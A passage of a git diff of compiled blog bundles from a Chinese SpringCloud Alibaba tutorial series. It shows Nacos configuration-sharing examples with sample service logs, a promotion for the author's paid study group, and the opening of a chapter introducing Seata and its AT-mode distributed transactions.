punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br")])]),a("p",[s._v("(7)修改订单微服务shop-order中的bootstrap.yml文件,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("order\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br")])]),a("p",[s._v("(8)分别启动用户微服务,商品微服务,订单微服务和服务网关,在浏览器中输入"),a("code",[s._v("localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-032","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-032.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,浏览器中正确输出了结果信息。")]),s._v(" "),a("p",[s._v("查看各个微服务中也会打印出相关的日志,如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("用户微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的用户信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"password"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"c26be8aaf53b15054896983b43eb6a65"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n用户微服务收到了订单信息:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":15235872727371776,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"totalPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("商品微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的商品信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"华为"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proStock"')]),s._v(":9999"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n更新商品库存传递的参数为: 商品id:1001, 购买数量:1 \n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("订单微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("提交订单时传递的参数:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"count"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"empty"')]),s._v(":false,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"productId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n库存扣减成功\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("网关服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("执行前置过滤器逻辑\n执行后置过滤器逻辑\n访问接口主机: localhost\n访问接口端口: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10001")]),s._v("\n访问接口URL: /server-order/order/submit_order\n访问接口URL参数: "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("userId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("productId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("count")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n访问接口时长: 863ms\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("说明我们的项目中成功整合了Nacos的配置中心,并实现了配置的动态刷新和共享。")]),s._v(" "),a("p",[a("strong",[s._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),s._v(" "),a("p",[a("strong",[s._v("另外,一不小心就写了23章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),s._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[s._v("#")]),s._v(" 关于星球")]),s._v(" "),a("p",[s._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),a("p",[s._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),s._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),a("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),a("p",[s._v("加入星球,你将获得:")]),s._v(" "),a("p",[s._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),a("p",[s._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),a("p",[s._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),a("p",[s._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),a("p",[s._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),a("p",[s._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),a("p",[s._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),a("p",[s._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),a("p",[s._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[s._v("#")]),s._v(" 星球门票价格")]),s._v(" "),a("p",[s._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),s._v(" "),a("p",[a("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),s._v(" "),a("p",[s._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[s._v("冰河技术")]),s._v(" 公众号回复 “ "),a("strong",[s._v("星球")]),s._v(" ” ,领取入场优惠券。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-336.js b/assets/js/cg-336.js index 8c12a7e543ffc7fcf80b171410a2358084172e40..b2be09d440407eecc40e9145d239d86e788c9b65 100644 --- a/assets/js/cg-336.js +++ b/assets/js/cg-336.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[336],{625:function(t,a,s){"use strict";s.r(a);var n=s(7),r=Object(n.a)({},(function(){var t=this,a=t._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第24章-分布式事务-分布式事务核心原理与seata介绍"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第24章-分布式事务-分布式事务核心原理与seata介绍"}},[t._v("#")]),t._v(" SA实战 ·《SpringCloud Alibaba实战》第24章-分布式事务:分布式事务核心原理与Seata介绍")]),t._v(" "),a("p",[a("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),a("blockquote",[a("p",[t._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏都更新到第24章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),t._v(" "),a("p",[t._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),a("OutboundLink")],1)]),t._v(" 知识星球即可获取,文末有入场方式。")]),t._v(" "),a("p",[t._v("Seata相关的内容来自Seata官网。")]),t._v(" "),a("p",[t._v("链接:"),a("a",{attrs:{href:"https://seata.io/zh-cn/docs/overview/what-is-seata.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://seata.io/zh-cn/docs/overview/what-is-seata.html"),a("OutboundLink")],1)])]),t._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[t._v("#")]),t._v(" 前文回顾")]),t._v(" "),a("p",[t._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),t._v(" "),a("p",[t._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),t._v(" "),a("p",[t._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),t._v(" "),a("p",[t._v("在服务配置章节,我们首先介绍了服务配置与Nacos作为配置中心的相关概念,并在项目中整合了Nacos配置中心。接下来,又基于Nacos实现了动态刷新与配置共享。")]),t._v(" "),a("p",[t._v("今天,就正式进入分布式事务篇章的学习,首先,我们简单介绍下分布式事务的核心原理与SpringCloud Alibaba技术栈中的Seata框架。")]),t._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[t._v("#")]),t._v(" 本章总览")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-008.png",loading:"lazy"}})]),t._v(" "),a("h2",{attrs:{id:"分布式事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式事务"}},[t._v("#")]),t._v(" 分布式事务")]),t._v(" "),a("p",[t._v("分布式事务是互联网行业一直无法绕过的技术难题,如何更加高效的学习分布式事务呢?")]),t._v(" "),a("h3",{attrs:{id:"系统学习分布式事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#系统学习分布式事务"}},[t._v("#")]),t._v(" 系统学习分布式事务")]),t._v(" "),a("p",[t._v("关于分布式事务的产生的场景、解决方案,分布式事务的核心原理可以订阅 【冰河技术】 微信公众号的 【"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=1662037669922570241#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("分布式事务"),a("OutboundLink")],1),t._v("】专题进行学习。")]),t._v(" "),a("h3",{attrs:{id:"深入理解分布式事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#深入理解分布式事务"}},[t._v("#")]),t._v(" 深入理解分布式事务")]),t._v(" "),a("p",[t._v("可以阅读冰河出版的《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497263&idx=1&sn=8228a795261b0a90a3f42322368616fc&chksm=cf56412ef821c8389584e9e608aa4d6515cf68e26758b9c578a8f60a796999fafc8686a6a425&token=2095908924&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[t._v("深入理解分布式事务:原理与实战"),a("OutboundLink")],1),t._v("》一书。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-001.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497263&idx=1&sn=8228a795261b0a90a3f42322368616fc&chksm=cf56412ef821c8389584e9e608aa4d6515cf68e26758b9c578a8f60a796999fafc8686a6a425&token=2095908924&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[t._v("深入理解分布式事务:原理与实战"),a("OutboundLink")],1),t._v("》从实际需求出发,涵盖基础知识,解决方案,原理分析,源码实现和工程实践等五个维度,全面且细致地介绍了有关分布式事务的基础知识、解决方案、核心原理和源码实战。")]),t._v(" "),a("p",[t._v("如果想系统的学习深入理解分布式事务,建议大家阅读《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497263&idx=1&sn=8228a795261b0a90a3f42322368616fc&chksm=cf56412ef821c8389584e9e608aa4d6515cf68e26758b9c578a8f60a796999fafc8686a6a425&token=2095908924&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[t._v("深入理解分布式事务:原理与实战"),a("OutboundLink")],1),t._v("》一书。")]),t._v(" "),a("h2",{attrs:{id:"seata介绍"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#seata介绍"}},[t._v("#")]),t._v(" Seata介绍")]),t._v(" "),a("blockquote",[a("p",[t._v("Seata相关的内容来自Seata官网。")]),t._v(" "),a("p",[t._v("链接:"),a("a",{attrs:{href:"https://seata.io/zh-cn/docs/overview/what-is-seata.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://seata.io/zh-cn/docs/overview/what-is-seata.html"),a("OutboundLink")],1)])]),t._v(" "),a("h3",{attrs:{id:"seata-是什么"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#seata-是什么"}},[t._v("#")]),t._v(" Seata 是什么?")]),t._v(" "),a("p",[t._v("Seata 是一款开源的分布式事务解决方案,致力于提供高性能和简单易用的分布式事务服务。Seata 将为用户提供了 AT、TCC、SAGA 和 XA 事务模式,为用户打造一站式的分布式解决方案。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-002.png",loading:"lazy"}})]),t._v(" "),a("h3",{attrs:{id:"at-模式"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#at-模式"}},[t._v("#")]),t._v(" AT 模式")]),t._v(" "),a("h4",{attrs:{id:"前提"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前提"}},[t._v("#")]),t._v(" 前提")]),t._v(" "),a("ul",[a("li",[t._v("基于支持本地 ACID 事务的关系型数据库。")]),t._v(" "),a("li",[t._v("Java 应用,通过 JDBC 访问数据库。")])]),t._v(" "),a("h4",{attrs:{id:"整体机制"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#整体机制"}},[t._v("#")]),t._v(" 整体机制")]),t._v(" "),a("p",[t._v("两阶段提交协议的演变:")]),t._v(" "),a("ul",[a("li",[t._v("一阶段:业务数据和回滚日志记录在同一个本地事务中提交,释放本地锁和连接资源。")]),t._v(" "),a("li",[t._v("二阶段:\n"),a("ul",[a("li",[t._v("提交异步化,非常快速地完成。")]),t._v(" "),a("li",[t._v("回滚通过一阶段的回滚日志进行反向补偿。")])])])]),t._v(" "),a("h4",{attrs:{id:"写隔离"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写隔离"}},[t._v("#")]),t._v(" 写隔离")]),t._v(" "),a("ul",[a("li",[t._v("一阶段本地事务提交前,需要确保先拿到 "),a("strong",[t._v("全局锁")]),t._v(" 。")]),t._v(" "),a("li",[t._v("拿不到 "),a("strong",[t._v("全局锁")]),t._v(" ,不能提交本地事务。")]),t._v(" "),a("li",[t._v("拿 "),a("strong",[t._v("全局锁")]),t._v(" 的尝试被限制在一定范围内,超出范围将放弃,并回滚本地事务,释放本地锁。")])]),t._v(" "),a("p",[t._v("以一个示例来说明:")]),t._v(" "),a("p",[t._v("两个全局事务 tx1 和 tx2,分别对 a 表的 m 字段进行更新操作,m 的初始值 1000。")]),t._v(" "),a("p",[t._v("tx1 先开始,开启本地事务,拿到本地锁,更新操作 m = 1000 - 100 = 900。本地事务提交前,先拿到该记录的 "),a("strong",[t._v("全局锁")]),t._v(" ,本地提交释放本地锁。 tx2 后开始,开启本地事务,拿到本地锁,更新操作 m = 900 - 100 = 800。本地事务提交前,尝试拿该记录的 "),a("strong",[t._v("全局锁")]),t._v(" ,tx1 全局提交前,该记录的全局锁被 tx1 持有,tx2 需要重试等待 "),a("strong",[t._v("全局锁")]),t._v(" 。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-003.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("tx1 二阶段全局提交,释放 "),a("strong",[t._v("全局锁")]),t._v(" 。tx2 拿到 "),a("strong",[t._v("全局锁")]),t._v(" 提交本地事务。")]),t._v(" 